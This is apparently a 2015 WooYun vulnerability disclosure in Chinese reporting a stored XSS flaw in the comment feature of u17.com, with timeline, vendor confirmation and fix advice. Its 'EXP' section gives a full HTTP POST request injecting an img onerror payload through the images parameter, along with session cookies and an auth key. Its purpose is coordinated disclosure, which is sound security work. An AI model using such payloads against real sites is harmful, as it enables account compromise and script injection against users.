当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101816

漏洞标题:有妖气某子域xss漏洞

相关厂商:u17.com

漏洞作者: 路人甲

提交时间:2015-03-18 10:19

修复时间:2015-05-02 10:56

公开时间:2015-05-02 10:56

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-18: 细节已通知厂商并且等待厂商处理中
2015-03-18: 厂商已经确认,细节仅向厂商公开
2015-03-28: 细节向核心白帽子及相关领域专家公开
2015-04-07: 细节向普通白帽子公开
2015-04-17: 细节向实习白帽子公开
2015-05-02: 细节向公众公开

简要描述:

有妖气某子域xss漏洞
在进行评论处未对数据进行有效过滤,导致跨站产生。

详细说明:

在http://donghua.u17.com/ 新闻频道的评论处,未对评论数据进行有效过滤,从而导致xss。

漏洞证明:

http://donghua.u17.com/news/newsview.html?news_id=4696%20and%201=2

x.jpg


EXP:
POST /comment/ajax.php?mod=thread&act=send_comment HTTP/1.1
Host: www.u17.com
Proxy-Connection: keep-alive
Content-Length: 167
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.u17.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.u17.com/z/comment_white.html?thread_id=5740086&comic_id=5553
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: u17-advert-client-cookie=d0b9841472043a0ee5626c1427b31ea6; CNZZDATA30031742=cnzz_eid%3D1913035334-1426554110-http%253A%252F%252Flushidai.u17.com%252F%26ntime%3D1426554110; _cnzz_CV30031742=%E7%94%A8%E6%88%B7%E7%B1%BB%E5%9E%8B%7C%E6%B8%B8%E5%AE%A2%7C1426556054121; xxreg_guide=1; xxusession=Rwxkw1WrZzM1EwHWxx6zDhPE; xxauthkey=Rocj1K6q%7C0%3A0%3A0%3A%E4%BF%9D%E5%AF%86%3A1%7Cpooher%7Cmail%40yopmail.com.sdo%7C1426557203%7C5924569%7C1a665cd105105878133d6bd3d3961621%7Cdefault.gif; xxuser_id=5924569; __utmt=1; xxnotify_count=0%3A0%3A0%3A0%3A0%3A0%3A0%3A0; Hm_lvt_9aa72b7e4e92f182872acd1c8031f141=1426556471,1426556510,1426556859,1426557012; Hm_lpvt_9aa72b7e4e92f182872acd1c8031f141=1426557574; xxsessionstatus=1; __utma=183440546.1572179589.1426556042.1426556042.1426556042.1; __utmb=183440546.52.10.1426556042; __utmc=183440546; __utmz=183440546.1426556042.1.1.utmcsr=lushidai.u17.com|utmccn=(referral)|utmcmd=referral|utmcct=/; tmc=41.183440546.32016850.1426556053416.1426557571189.1426557574482; tma=183440546.32016850.1426556053416.1426556053416.1426556053416.1; tmd=41.183440546.32016850.1426556053416.; bfd_session_id=bfd_s=183440546.85055229.1426556053414&bfd_g=b56c782bcb75035d0000062000074ea4546f0e3c
content=qw&thread_id=5740086&from=u17&images=%2Ftemp%2F2015%2F03%2F17%2F5924569_1426557035_hb8kSjq8h7jh.jpg%7C%7C%7C1.jpg"><img/src=xx%20onerror=alert(1)><a&face=small
//直接提交,忽略返回信息

修复方案:

images 参数进行过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-03-18 10:54

厂商回复:

感谢您对我们安全的关注,辛苦了。漏洞原因已经确认,正在修复,谢谢!

最新状态:

暂无